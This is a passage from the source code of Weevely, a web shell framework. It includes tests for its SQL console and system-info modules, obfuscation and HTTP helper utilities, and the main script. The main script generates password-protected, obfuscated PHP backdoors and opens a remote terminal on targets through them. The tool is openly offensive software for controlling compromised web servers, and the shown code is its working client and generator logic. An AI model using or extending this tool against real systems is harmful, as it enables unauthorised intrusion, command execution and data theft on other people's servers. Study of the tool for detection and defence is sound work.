@unittest.skipIf(not config.sql_autologin, 40 | "Autologin is not set") 41 | def test_wrongcommand(self, log_captured): 42 | # Wrong command 43 | self.assertEqual(self.run_cmdline('-query bogus')['result'], []) 44 | 45 | # Checking if the error message start about the missing comma is ok 46 | self.assertEqual('%s %s' % (messages.module_sql_console.no_data, 47 | messages.module_sql_console.check_credentials), 48 | log_captured.records[-2].msg) 49 | 50 | def test_wronglogin(self): 51 | wrong_login = '-user bogus -passwd bogus -query "select \'A\';"' 52 | 53 | # Using run_cmdline to test the outputs 54 | self.assertIn('Access denied for user', self.run_cmdline(wrong_login)['error']) 55 | 56 | def test_wrong_port(self): 57 | wrong_port = ['-user', config.sql_user, '-passwd', config.sql_passwd, '-port', '1234', '-query', 'select 1234;'] 58 | 59 | # Using run_cmdline to test the outputs 60 | self.assertIn('Connection refused', self.run_argv(wrong_port)['error']) 61 | 62 | def test_login(self): 63 | 64 | login = ['-user', config.sql_user, '-passwd', config.sql_passwd ] 65 | 66 | self.assertEqual(self.run_argv(login + [ '-query', "select 'A';"]), { 'error' : '', 'result' : [['A'], ['A']] }) 67 | self.assertEqual(self.run_argv(login + ['-query', 'select @@hostname;'])['error'], '') 68 | self.assertEqual(self.run_argv(login + ['-query', 'show databases;'])['error'], '') 69 | 70 | # The user is returned in the form `[[ user@host ]]` 71 | self.assertEqual( 72 | self.run_argv(login + ['-query', 'SELECT USER();'])['result'][1][0][:len(config.sql_user)], 73 | config.sql_user 74 | ) 75 | self.assertEqual( 76 | self.run_argv(login + ['-query', 'SELECT CURRENT_USER();'])['result'][1][0][:len(config.sql_user)], 77 | config.sql_user 78 | ) 79 | 80 | @log_capture() 81 | def test_console(self, log_captured): 82 | queries = [ 83 | 'SELECT USER();', 84 | ] 85 | step = 0 86 | def mocked_input(*args): 87 | nonlocal queries, step 88 | if step >= len(queries): 89 | return 'exit' 90 | q = queries[step] 91 | step += 1 92 | return q 93 | 94 | with unittest.mock.patch('builtins.input', mocked_input): 95 | res = self.run_argv(['-user', config.sql_user, '-passwd', config.sql_passwd ]) 96 | 97 | self.assertEqual(res['error'], False) 98 | self.assertEqual(res['result'], 'sql_console exited.') 99 | self.assertEqual(log_captured.check_present(('log', 'INFO', f"""+----------------+ 100 | | USER() | 101 | +----------------+ 102 | | {config.sql_user}@localhost | 103 | +----------------+""")), None) -------------------------------------------------------------------------------- /tests/test_system_info.py: -------------------------------------------------------------------------------- 1 | from tests.base_test import BaseTest 2 | from testfixtures import log_capture 3 | from core.weexceptions import ArgparseError 4 | from core import modules 5 | from core.sessions import SessionURL 6 | import os 7 | 8 | class SystemInfo(BaseTest): 9 | 10 | def setUp(self): 11 | session = SessionURL(self.url, self.password, volatile = True) 12 | modules.load_modules(session) 13 | 14 | self.run_argv = modules.loaded['system_info'].run_argv 15 | 16 | @log_capture() 17 | def test_commands(self, log_captured): 18 | 19 | # Get all infos, returns a dict 20 | vectors_names = [v.name for v in modules.loaded['system_info'].vectors ] 21 | self.assertEqual(set(self.run_argv([ '-extended' ]).keys()), set(vectors_names)); 22 | 23 | # Get just one info, returns a string 24 | self.assertEqual( 25 | os.path.split(self.run_argv(["-info", "script"]))[1], 26 | os.path.split(self.path)[1] 27 | ); 28 | 29 | # Pass unexistant info 30 | self.assertRaises(ArgparseError, self.run_argv, ["-info", "BOGUS"]); 31 | -------------------------------------------------------------------------------- /utils/__init__.py: -------------------------------------------------------------------------------- 1 | # Importing stuff in __init__.py allows importing direct submodule import 2 | from . import http 3 | from . import strings 4 | from . import prettify 5 | from . import iputil 6 | -------------------------------------------------------------------------------- /utils/http.py: -------------------------------------------------------------------------------- 1 | from core.weexceptions import FatalException 2 | from core import messages 3 | from core import config 4 | import random 5 | import string 6 | import utils 7 | import urllib.request, urllib.error, urllib.parse 8 | import os 9 | 10 | agents_list_path = 'utils/_http/user-agents.txt' 11 | 12 | def load_all_agents(): 13 | 14 | try: 15 | 16 | with open( 17 | os.path.join(config.weevely_path, 18 | agents_list_path) 19 | ) as agents_file: 20 | return agents_file.read().split('\n') 21 | 22 | except Exception as e: 23 | raise FatalException( 24 | messages.generic.error_loading_file_s_s % 25 | (agents_list_path, str(e))) 26 | 27 | 28 | def add_random_url_param(url): 29 | 30 | random_param = '%s=%s' % ( 31 | utils.strings.randstr( 32 | n = 4, 33 | fixed = False, 34 | charset = string.ascii_letters 35 | ), 36 | utils.strings.randstr( 37 | n = 10, 38 | fixed = False 39 | ) 40 | ) 41 | 42 | if '?' not in url: 43 | url += '?%s' % random_param 44 | else: 45 | url += '&%s' % random_param 46 | 47 | return url 48 | 49 | def request(url, headers = []): 50 | 51 | if not next((x for x in headers if x[0] == 'User-Agent'), False): 52 | headers = [ ('User-Agent', random.choice(load_all_agents())) ] 53 | 54 | opener = urllib.request.build_opener() 55 | opener.addheaders = headers 56 | return opener.open(url).read() 57 | -------------------------------------------------------------------------------- /utils/iputil.py: -------------------------------------------------------------------------------- 1 | import itertools 2 | 3 | # Explode IP format 10.10.10.10-233 4 | def ip_range(input_string): 5 | octets = input_string.split('.') 6 | chunks = [list(map(int, octet.split('-'))) for octet in octets] 7 | ranges = [list(range(c[0], c[1] + 1)) if len(c) == 2 else c for c in chunks] 8 | 9 | for address in itertools.product(*ranges): 10 | yield '.'.join(map(str, address)) 11 | 12 | # Explode port format 22,23-33 13 | def port_range(input_string): 14 | return sum( 15 | ( 16 | ( 17 | list(range(*[int(j) + k for k, j in enumerate(i.split('-'))])) 18 | if '-' in i else [int(i)] 19 | ) 20 | for i in input_string.split(',') 21 | ), [] 22 | ) 23 | -------------------------------------------------------------------------------- /utils/prettify.py: -------------------------------------------------------------------------------- 1 | import prettytable 2 | import types 3 | 4 | def tablify(data, table_border = True, header=False): 5 | 6 | # TODO: Check that is prettytable-0.7.2 that supports the 7 | # dynamic table columns number setting. Version 0.5 does not. 8 | 9 | output = '' 10 | 11 | # Empty outputs. False is probably a good output value 12 | if data is not False and not data: 13 | output = '' 14 | else: 15 | 16 | table = prettytable.PrettyTable() 17 | if header and type(data) is list: 18 | table.field_names = data.pop(0) 19 | table.header = True 20 | else: 21 | table.header = False 22 | # List outputs. 23 | if isinstance(data, (list, tuple)): 24 | 25 | if len(data) > 0: 26 | 27 | columns_num = 1 28 | if isinstance(data[0], (list, tuple)): 29 | columns_num = len(data[0]) 30 | 31 | for row in data: 32 | if not row: 33 | continue 34 | 35 | if isinstance(row, (list, tuple)): 36 | table.add_row(row) 37 | else: 38 | table.add_row([row]) 39 | 40 | # Dict outputs are display as tables 41 | elif isinstance(data, dict) and data: 42 | 43 | # Populate the rows 44 | randomitem = next(iter(list(data.values()))) 45 | if isinstance(randomitem, (list, tuple)): 46 | for field in data: 47 | table.add_row([field] + data[field]) 48 | else: 49 | for field in data: 50 | table.add_row([field, str(data[field])]) 51 | 52 | # Else, try to stringify 53 | else: 54 | 55 | # Normalize byte-like objects 56 | try: 57 | data = data.decode('utf-8') 58 | except (UnicodeDecodeError, AttributeError): 59 | pass 60 | 61 | output = str(data) 62 | 63 | if not output: 64 | table.align = 'l' 65 | table.border = table_border 66 | output = table.get_string() 67 | 68 | return output 69 | 70 | def shorten(body, keep_header = 0, keep_trailer = 0): 71 | """ 72 | Smartly shorten a given string. 73 | """ 74 | 75 | # Normalize byte-like objects 76 | try: 77 | body = body.decode('utf-8') 78 | except (UnicodeDecodeError, AttributeError): 79 | pass 80 | 81 | # Cut header 82 | if (keep_header 83 | and not keep_trailer 84 | and len(body) > keep_header): 85 | return '..%s' % body[:keep_header] 86 | 87 | # Cut footer 88 | if (keep_trailer 89 | and not keep_header 90 | and len(body) > keep_trailer): 91 | return '..%s' % body[-keep_header:] 92 | 93 | if (keep_header 94 | and keep_trailer 95 | and len(body) > keep_header + keep_trailer): 96 | return '%s .. %s' % (body[:keep_header], body[-keep_trailer:]) 97 | 98 | return body 99 | 100 | 101 | def format_size(size, suffix='o'): 102 | for unit in ['', 'K', 'M', 'G', 'T', 'P', 'E', 'Z']: 103 | if abs(size) < 1000.0: 104 | return "%.3G%s%s" % (size, unit, suffix) 105 | size /= 1000.0 106 | return "%.3G%s%s" % (size, 'Y', suffix) 107 | -------------------------------------------------------------------------------- /utils/strings.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import itertools 4 | 5 | str2hex = lambda x: "\\x" + "\\x".join([hex(ord(c))[2:].zfill(2) for c in x]) 6 | 7 | def randstr(n=4, fixed=True, charset=None): 8 | 9 | if not n: 10 | return b'' 11 | 12 | if not fixed: 13 | n = random.randint(1, n) 14 | 15 | if not charset: 16 | charset = string.ascii_letters + string.digits 17 | 18 | return ''.join(random.choice(charset) for x in range(n)).encode('utf-8') 19 | 20 | def divide(data, min_size, max_size, split_size): 21 | 22 | it = iter(data) 23 | size = len(data) 24 | 25 | for i in range(split_size - 1, 0, -1): 26 | s = random.randint(min_size, size - max_size * i) 27 | yield bytearray(itertools.islice(it, 0, s)) 28 | size -= s 29 | yield bytearray(it) 30 | 31 | def sxor(s1, s2): 32 | return bytearray( 33 | a ^ b 34 | for a, b in zip(s1, itertools.cycle(s2)) 35 | ) 36 | 37 | def pollute(data, charset, frequency=0.3): 38 | 39 | str_encoded = '' 40 | for char in data: 41 | if random.random() < frequency: 42 | str_encoded += randstr(1, True, charset) + char 43 | else: 44 | str_encoded += char 45 | 46 | return str_encoded 47 | 48 | def chunks(l, n): 49 | """ Yield successive n-sized chunks from l. 50 | """ 51 | for i in range(0, len(l), n): 52 | yield l[i:i+n] 53 | -------------------------------------------------------------------------------- /weevely.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import glob 3 | import os 4 | import pprint 5 | import sys 6 | 7 | from core import generate 8 | from core import messages 9 | from core import modules 10 | from core.argparsers import CliParser 11 | from core.config import agent_templates_folder_path, obfuscators_templates_folder_path 12 | from core.loggers import log, dlog 13 | from core.sessions import SessionURL, SessionFile 14 | from core.terminal import Terminal 15 | from core.weexceptions import FatalException, ArgparseError 16 | 17 | if sys.stdout.encoding is None: 18 | print("Please set PYTHONIOENCODING=UTF-8 running 'export PYTHONIOENCODING=UTF-8' before starting Weevely.") 19 | exit(1) 20 | 21 | 22 | def main(arguments): 23 | 24 | if arguments.command == 'generate': 25 | 26 | obfuscated = generate.generate( 27 | password = arguments.password, 28 | obfuscator = arguments.obfuscator, 29 | agent = arguments.agent 30 | ) 31 | 32 | generate.save_generated(obfuscated, arguments.path) 33 | 34 | if arguments.path != '-': 35 | log.info(messages.generate.generated_backdoor_with_password_s_in_s_size_i % 36 | (arguments.path, 37 | arguments.password, 38 | len(obfuscated) 39 | ) 40 | ) 41 | 42 | return 43 | 44 | elif arguments.command == 'terminal': 45 | session = SessionURL( 46 | url = arguments.url, 47 | password = arguments.password 48 | ) 49 | 50 | elif arguments.command == 'session': 51 | session = SessionFile(arguments.path) 52 | 53 | dlog.debug( 54 | pprint.pformat(session) 55 | ) 56 | 57 | modules.load_modules(session) 58 | 59 | if not arguments.cmd: 60 | Terminal(session).cmdloop() 61 | else: 62 | term = Terminal(session) 63 | term.precmd(arguments.cmd) 64 | term.onecmd(arguments.cmd) 65 | 66 | if __name__ == '__main__': 67 | 68 | parser = CliParser(prog='weevely') 69 | subparsers = parser.add_subparsers(dest = 'command') 70 | 71 | terminalparser = subparsers.add_parser('terminal', help='Run terminal or command on the target') 72 | terminalparser.add_argument('url', help = 'The agent URL') 73 | terminalparser.add_argument('password', help = 'The agent password') 74 | terminalparser.add_argument('cmd', help = 'Command', nargs='?') 75 | 76 | sessionparser = subparsers.add_parser('session', help='Recover an existing session') 77 | sessionparser.add_argument('path', help = 'Session file path') 78 | sessionparser.add_argument('cmd', help = 'Command', nargs='?') 79 | 80 | agents_available = [ 81 | os.path.split(agent)[1].split('.')[0] for agent in 82 | glob.glob('%s/*.tpl' % agent_templates_folder_path) 83 | ] 84 | 85 | obfuscators_available = [ 86 | os.path.split(agent)[1].split('.')[0] for agent in 87 | glob.glob('%s/*.tpl' % obfuscators_templates_folder_path) 88 | ] 89 | 90 | generateparser = subparsers.add_parser('generate', help='Generate new agent') 91 | generateparser.add_argument('password', help = 'Agent password') 92 | generateparser.add_argument('path', help = 'Agent file path') 93 | generateparser.add_argument( 94 | '-obfuscator', #The obfuscation method 95 | choices = obfuscators_available, 96 | default = 'phar' 97 | ) 98 | generateparser.add_argument( 99 | '-agent', #The agent channel type 100 | choices = agents_available, 101 | default = 'obfpost_php' 102 | ) 103 | 104 | parser.set_default_subparser('terminal') 105 | 106 | try: 107 | arguments = parser.parse_args() 108 | except ArgparseError: 109 | parser.exit() 110 | 111 | try: 112 | main(arguments) 113 | except (KeyboardInterrupt, EOFError): 114 | log.info('Exiting.') 115 | except FatalException as e: 116 | log.critical('Exiting: %s' % e) 117 | --------------------------------------------------------------------------------